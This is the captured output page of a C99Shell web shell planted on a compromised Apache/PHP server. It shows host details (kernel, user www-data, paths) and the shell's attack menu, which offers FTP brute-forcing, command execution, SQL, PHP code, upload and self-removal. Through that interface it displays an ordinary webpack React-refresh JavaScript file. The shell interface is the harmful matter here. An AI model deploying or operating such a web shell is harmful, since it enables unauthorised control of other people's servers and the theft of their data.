!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/node_modules/@pmmmwh/react-refresh-webpack-plugin/lib/utils/   drwxr-xr-x
Free 12.94 GB of 57.97 GB (22.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     getRefreshGlobal.js (4.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { getRefreshGlobalScope } = require('../globals');

/**
 * @typedef {Object} RuntimeTemplate
 * @property {function(string, string[]): string} basicFunction
 * @property {function(): boolean} supportsConst
 * @property {function(string, string=): string} returningFunction
 */

/**
 * Generates the refresh global runtime template.
 * @param {import('webpack').Template} Template The template helpers.
 * @param {Record<string, string>} [RuntimeGlobals] The runtime globals.
 * @param {RuntimeTemplate} [RuntimeTemplate] The runtime template helpers.
 * @returns {string} The refresh global runtime template.
 */
function getRefreshGlobal(
  Template,
  RuntimeGlobals = {},
  RuntimeTemplate = {
    basicFunction(args, body) {
      return `function(${args}) {\n${Template.indent(body)}\n}`;
    },
    supportsConst() {
      return false;
    },
    returningFunction(returnValue, args = '') {
      return `function(${args}) { return ${returnValue}; }`;
    },
  }
) {
  const declaration = RuntimeTemplate.supportsConst() ? 'const' : 'var';
  const refreshGlobal = getRefreshGlobalScope(RuntimeGlobals);
  return Template.asString([
    `${refreshGlobal} = {`,
    Template.indent([
      // Lifecycle methods - They should be specific per module and restored after module execution.
      // These stubs ensure unwanted calls (e.g. unsupported patterns, broken transform) would not error out.
      // If the current module is processed by our loader,
      // they will be swapped in place during module initialisation by the `setup` method below.
      `register: ${RuntimeTemplate.returningFunction('undefined')},`,
      `signature: ${RuntimeTemplate.returningFunction(
        RuntimeTemplate.returningFunction('type', 'type')
      )},`,
      // Runtime - This should be a singleton and persist throughout the lifetime of the app.
      // This stub ensures calls to `runtime` would not error out.
      // If any module within the bundle is processed by our loader,
      // it will be swapped in place via an injected import.
      'runtime: {',
      Template.indent([
        `createSignatureFunctionForTransform: ${RuntimeTemplate.returningFunction(
          RuntimeTemplate.returningFunction('type', 'type')
        )},`,
        `register: ${RuntimeTemplate.returningFunction('undefined')}`,
      ]),
      '},',
      // Setup - This handles initialisation of the global runtime.
      // It should never be touched throughout the lifetime of the app.
      `setup: ${RuntimeTemplate.basicFunction('currentModuleId', [
        // Store all previous values for fields on `refreshGlobal` -
        // this allows proper restoration in the `cleanup` phase.
        `${declaration} prevModuleId = ${refreshGlobal}.moduleId;`,
        `${declaration} prevRegister = ${refreshGlobal}.register;`,
        `${declaration} prevSignature = ${refreshGlobal}.signature;`,
        `${declaration} prevCleanup = ${refreshGlobal}.cleanup;`,
        '',
        `${refreshGlobal}.moduleId = currentModuleId;`,
        '',
        `${refreshGlobal}.register = ${RuntimeTemplate.basicFunction('type, id', [
          `${declaration} typeId = currentModuleId + " " + id;`,
          `${refreshGlobal}.runtime.register(type, typeId);`,
        ])}`,
        '',
        `${refreshGlobal}.signature = ${RuntimeTemplate.returningFunction(
          `${refreshGlobal}.runtime.createSignatureFunctionForTransform()`
        )};`,
        '',
        `${refreshGlobal}.cleanup = ${RuntimeTemplate.basicFunction('cleanupModuleId', [
          // Only cleanup if the module IDs match.
          // In rare cases, it might get called in another module's `cleanup` phase.
          'if (currentModuleId === cleanupModuleId) {',
          Template.indent([
            `${refreshGlobal}.moduleId = prevModuleId;`,
            `${refreshGlobal}.register = prevRegister;`,
            `${refreshGlobal}.signature = prevSignature;`,
            `${refreshGlobal}.cleanup = prevCleanup;`,
          ]),
          '}',
        ])}`,
      ])}`,
    ]),
    '};',
  ]);
}

module.exports = getRefreshGlobal;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--